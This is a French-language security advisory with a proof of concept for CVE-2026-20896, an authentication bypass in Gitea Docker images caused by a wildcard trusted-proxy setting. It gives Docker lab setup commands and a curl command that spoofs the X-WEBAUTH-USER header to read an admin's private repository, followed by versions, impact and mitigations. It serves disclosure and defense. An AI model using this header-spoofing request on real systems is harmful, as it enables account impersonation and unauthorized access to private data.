Retour aux mises à jour
UpdatedAug 7, 2026

CVE-2026-20896 — Mis à jour !

Gitea Docker Image Authentication Bypass

Partager

CVE-2026-20896 : Preuve de concept de contournement d'authentification dans l'image Docker Gitea

[!WARNING] Utilisez cette preuve de concept uniquement dans un laboratoire local ou contre un système que vous êtes explicitement autorisé à tester.

https://github.com/user-attachments/assets/b73af2fe-0e59-438b-80d6-be93fd75697b

Présentation

CVE-2026-20896 est un contournement d'authentification dans les images Docker officielles Gitea concernées. Lorsque l'authentification par proxy inverse est activée, le paramètre REVERSE_PROXY_TRUSTED_PROXIES = * généré par l'image permet à un client pouvant atteindre le backend Gitea d'usurper l'identité d'un utilisateur existant via l'en-tête X-WEBAUTH-USER.

Le laboratoire crée un administrateur nommé gitea-admin avec un mot de passe aléatoire et stocke CVE-2026-20896_AUTH_BYPASS_CONFIRMED dans le dépôt privé gitea-admin/private-proof. La lecture de ce fichier sans connaître le mot de passe aléatoire de l'administrateur démontre le contournement.

Versions concernées

CatégorieVersion
VulnérableImages Docker officielles gitea/gitea ≤ 1.26.2
Première version corrigée1.26.3
Recommandée1.26.4 ou ultérieure

La configuration vulnérable nécessite que l'authentification par proxy inverse soit activée et que le backend Gitea soit directement accessible, ou qu'un proxy en amont conserve l'en-tête d'identité fourni par l'attaquant. Un conteneur de proxy inverse n'est pas requis pour cette reproduction locale.

Environnement

# construction
docker build -t cve-2026-20896-gitea-vuln .

# exécution
docker run -d --rm --name cve-2026-20896-gitea-vuln -p 127.0.0.1:3000:3000 cve-2026-20896-gitea-vuln

Attendez quelques secondes que Gitea et le dépôt de preuve privé s'initialisent.

Preuve de concept

cURL

curl -s -L -H "X-WEBAUTH-USER: gitea-admin" http://127.0.0.1:3000/gitea-admin/private-proof/raw/branch/main/proof.txt

Une exploitation réussie renvoie CVE-2026-20896_AUTH_BYPASS_CONFIRMED.

Python

python poc.py http://127.0.0.1:3000

Le script compare les requêtes non authentifiées, non administrateur et administrateur falsifiées et affiche VULNERABLE lorsque le contournement d'autorisation est confirmé. Il nécessite Python 3.10 ou ultérieur et n'utilise que la bibliothèque standard.

Impact

  • Usurpation d'utilisateurs Gitea connus ou devinables
  • Accès non autorisé aux dépôts privés et aux ressources utilisateur
  • Actions administratives lorsqu'un compte administrateur est usurpé

Atténuation

  • Mettez à niveau vers Gitea 1.26.3 ou ultérieur ; 1.26.4 ou ultérieur est recommandé.
  • Restreignez REVERSE_PROXY_TRUSTED_PROXIES aux adresses de proxy de confiance.
  • Empêchez l'accès direct au backend Gitea et écrasez les en-têtes d'identité fournis en externe.
  • Désactivez l'authentification par proxy inverse lorsqu'elle n'est pas requise.

Nettoyage

docker stop cve-2026-20896-gitea-vuln

Références

Catégories